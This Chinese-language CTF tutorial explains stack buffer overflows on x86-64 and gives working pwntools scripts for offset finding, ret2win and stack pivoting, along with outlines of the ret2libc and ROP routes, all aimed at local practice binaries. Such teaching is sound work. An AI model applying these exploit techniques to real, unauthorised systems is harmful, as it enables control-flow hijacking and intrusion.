栈、返回地址与控制流
栈、返回地址与控制流
本文适合
刚进入 Pwn,能运行 ELF 程序但还不清楚栈帧、返回地址、offset 和控制流劫持关系的学习者。学完你能:用崩溃输入验证返回地址是否可控,计算覆盖偏移,并把 ret2win、ret2libc 或 ROP 路线写成可复现利用链
Pwn 入门必须理解栈。很多基础漏洞的目标不是“写很多数据”,而是覆盖函数返回地址,让程序跳到攻击者想执行的位置。
栈是什么
栈用于保存函数调用过程中的局部变量、保存的寄存器和返回地址。
一个简化的栈帧可以这样理解:
局部变量 buffer
saved rbp
return address当函数执行 ret 时,CPU 会从栈上取出 return address,并跳到那里继续执行。
栈溢出为什么危险
如果程序把过长输入写入固定长度 buffer:
char buf[64];
gets(buf);输入超过 64 字节后,就可能覆盖 saved rbp 和 return address。
如果 return address 被覆盖成 win() 函数地址,函数返回时就会跳到 win()。
崩溃和可利用不是一回事
输入很长导致程序崩溃,只说明程序异常了。
要证明可利用,需要确认:
- 返回地址是否被你的输入覆盖。
- 覆盖偏移是多少。
- 覆盖的地址是否能稳定控制。
- 程序保护机制是否允许这条路线。
cyclic pattern 的作用就是找到偏移,而不是单纯制造崩溃。
保护机制的影响
Canary 会检测栈是否被破坏。
NX 会阻止栈上 shellcode 执行。
PIE 会让程序地址随机化。
ASLR 会让 libc、栈、堆地址随机化。
这些保护不会让漏洞消失,但会让利用链变长。
ret2win 和 ret2libc
ret2win 是跳到程序里已有的 win() 函数。
ret2libc 是跳到 libc 里的 system 等函数,常见目标是执行 system("/bin/sh")。
二者都依赖同一个基础:控制返回地址。
栈帧详细结构
x86-64 的栈帧结构比入门描述更完整:
高地址
+---------------------------+
| 参数 7+(栈上) |
+---------------------------+
| 返回地址 (RIP) | <- 函数 ret 时弹出
+---------------------------+
| 保存的 RBP | <- 函数入口 push rbp
+---------------------------+
| 局部变量区 | <- 函数体中的 buffer、数组
+---------------------------+
| canary 值(如果有) | <- 栈保护
+---------------------------+
| 对齐填充 |
+---------------------------+
低地址函数序言(prologue)通常做的事情:
push rbp ; 保存调用者的 RBP
mov rbp, rsp ; 设置新的栈帧基址
sub rsp, 0x40 ; 为局部变量分配空间函数尾声(epilogue)通常做的事情:
leave ; 等价于 mov rsp, rbp; pop rbp
ret ; 弹出返回地址并跳转理解这个结构对计算溢出偏移至关重要。
调用约定详解
x86-64 System V ABI(Linux)
前 6 个整数参数依次使用:
rdi 第 1 个参数
rsi 第 2 个参数
rdx 第 3 个参数
rcx 第 4 个参数
r8 第 5 个参数
r9 第 6 个参数第 7 个及以后的参数放在栈上。返回值放在 rax。
x86-32 cdecl(Linux/Windows)
所有参数通过栈传递,从右到左压栈:
// 调用 func(a, b, c) 时栈布局:
// [c] [b] [a] [返回地址]Windows x64 调用约定
前 4 个参数使用 rcx, rdx, r8, r9,且调用者必须预留 32 字节的 shadow space。
saved RBP 覆盖
覆盖 saved rbp 本身通常不直接控制执行流,但可以用于栈迁移(stack pivot):
# 栈迁移:控制 RBP 指向可控区域
# 覆盖 saved rbp 为 .bss 地址
# 函数返回后 leave; ret 会把 .bss 变成新栈
bss_addr = elf.bss() + 0x200
pop_rbp = 0x401234
payload = flat(
b'A' * 64, # 填充局部变量
p64(bss_addr), # 覆盖 saved rbp -> 新栈位置
p64(pop_rbp), # 返回地址 -> pop rbp
p64(bss_addr), # rbp = bss_addr
p64(leave_ret) # 触发栈迁移
)栈迁移在以下场景特别有用:
- 栈空间不够放完整 ROP 链。
- 需要把数据放到已知可写地址。
- 绕过栈大小限制。
函数调用过程完整追踪
void vuln() {
char buf[64];
read(0, buf, 256); // 溢出
}
int main() {
vuln();
return 0;
}调用 vuln() 时的完整过程:
1. main 执行 call vuln
-> CPU 把 call 的下一条指令地址压栈(返回地址)
-> 跳转到 vuln
2. vuln 的 prologue
-> push rbp (保存 main 的 rbp)
-> mov rbp, rsp (设置新 rbp)
-> sub rsp, 0x40 (分配 64 字节)
3. vuln 执行 read
-> 输入超过 64 字节时覆盖:
- 超过 64 字节:覆盖 canary
- 超过 72 字节:覆盖 saved rbp
- 超过 80 字节:覆盖返回地址
4. vuln 的 epilogue
-> leave (rsp = rbp, pop rbp)
-> ret (弹出返回地址,跳转)
5. 如果返回地址被覆盖
-> 跳转到攻击者控制的地址使用 pwntools 找偏移
from pwn import *
# 方法 1:cyclic 模式
cyclic(200) # 生成 200 字节的循环模式
# 输入到程序后,查看崩溃时 RIP 的值
offset = cyclic_find(0x6161616c) # 用 RIP 值找偏移
# 方法 2:直接生成并计算
p = process('./vuln')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
log.info(f'offset: {offset}')
# 方法 3:手动测试
# 输入 AAAABBBBCCCCDDDD...
# 观察崩溃时覆盖的返回地址ret2win 完整示例
from pwn import *
p = process('./vuln')
elf = ELF('./vuln')
win_addr = elf.symbols['win'] # 或手动从 IDA 获取
offset = 72 # 通过 cyclic 确定
payload = b'A' * offset
payload += p64(win_addr)
p.sendline(payload)
p.interactive()checksec 解读
checksec --file=./vuln Arch: amd64-64-little
RELRO: Partial RELRO # GOT 可写
Stack: Canary found # 有栈保护
NX: NX enabled # 栈不可执行
PIE: No PIE # 程序基址固定每个字段对利用方式的影响:
- RELRO:Full RELRO 时不能改 GOT。
- Canary:需要泄露或绕过才能溢出。
- NX:不能跑栈上 shellcode,需要 ROP 或 ret2libc。
- PIE:No PIE 时程序地址固定,方便找 gadget。
常见误区
- 以为程序崩溃就是成功。
- 不看 checksec。
- 偏移凭感觉写。
- 忘记 64 位函数调用需要控制参数寄存器。
- 远程失败时不检查 libc 和栈对齐。
一句话判断
程序读取输入到固定大小栈缓冲区,长输入能稳定覆盖 saved RBP 或返回地址,并且函数返回后跳到可控地址时,就进入栈溢出控制流劫持。
判断“可利用”的核心不是崩溃,而是返回地址是否被你精确控制。
题目中常见信号
- C 代码出现
gets、scanf("%s")、strcpy、read(0, buf, 大于buf大小)。 - 输入长字符串后程序
Segmentation fault。 checksec显示 Canary 关闭,或可以泄露 Canary。- 二进制里有
win、backdoor、system("/bin/sh")。 - GDB 中 RIP/EIP 被 cyclic pattern 覆盖。
- 题目提示 buffer overflow、ret2win、stack overflow。
核心概念
栈溢出利用链的最小闭环:
找到输入点
-> 证明能覆盖返回地址
-> 计算 offset
-> 选择目标地址
-> 构造 payload
-> 触发 ret如果目标函数需要参数,就从“覆盖返回地址”进入 ROP基础;如果空间不够,就进入 栈迁移。
最小分析流程
file和checksec确认架构与保护。- 运行程序,找到输入点。
- 发送 cyclic pattern 制造崩溃。
- 从 core 或 GDB 中读取 RIP/EIP。
- 用
cyclic_find计算 offset。 - 找目标函数或 ROP 路线。
- 构造 payload 并本地验证。
- 远程前检查地址随机化、libc、栈对齐和输入截断。
最小验证示例
from pwn import *
context.binary = "./vuln"
p = process("./vuln")
p.sendline(cyclic(200))
p.wait()
core = p.corefile
crash = core.read(core.rsp, 8)
offset = cyclic_find(crash[:4])
log.info(f"offset = {offset}")如果 offset 稳定,再验证 ret2win:
elf = ELF("./vuln")
p = process("./vuln")
payload = flat(
b"A" * offset,
elf.symbols["win"],
)
p.sendline(payload)
p.interactive()成功标准:程序确实跳到 win(),而不是单纯再次崩溃。
常见利用 / 解题路线
路线总览:
路线一:ret2win
适合程序自带 win()、backdoor()、print_flag()。
offset -> win 地址 -> payload = padding + win路线二:ret2libc
适合 NX 开启、没有直接 win 函数但能泄露 libc。
泄露 puts -> 计算 libc base -> system("/bin/sh")路线三:ROP 调函数
适合目标函数需要参数。
pop rdi; ret -> 参数地址 -> 目标函数路线四:栈迁移
适合溢出空间很短,但可写区域可控。
写 ROP 到 .bss -> 覆盖 rbp -> leave; ret -> 新栈执行常见失败原因
- 崩溃不可控:RIP/EIP 没被输入覆盖,可能只是其他内存损坏。
- offset 算错:64 位读取 8 字节时要注意
cyclic_find的用法。 - 目标地址受 PIE 影响:No PIE 才能直接使用本地程序地址。
- Canary 没处理:有 Canary 时直接覆盖返回地址会触发
stack smashing detected。 - 输入被截断:
scanf、换行、空字节可能截断 payload。 - 栈不对齐:调用 libc 函数崩在
movaps时加一个ret对齐。
迷你案例
题目源码:
void win() { system("cat flag"); }
void vuln() {
char buf[64];
read(0, buf, 200);
}检查保护:
checksec --file=./vulnCanary 关闭、No PIE。用 cyclic 得到:
offset = 72利用:
from pwn import *
elf = ELF("./vuln")
p = process("./vuln")
p.sendline(flat(b"A"*72, elf.symbols["win"]))
p.interactive()WP 应写清楚:
read 长度 200 大于 buf 64
cyclic 证明返回地址 offset 为 72
No PIE 使 win 地址固定
覆盖返回地址后函数 ret 跳到 win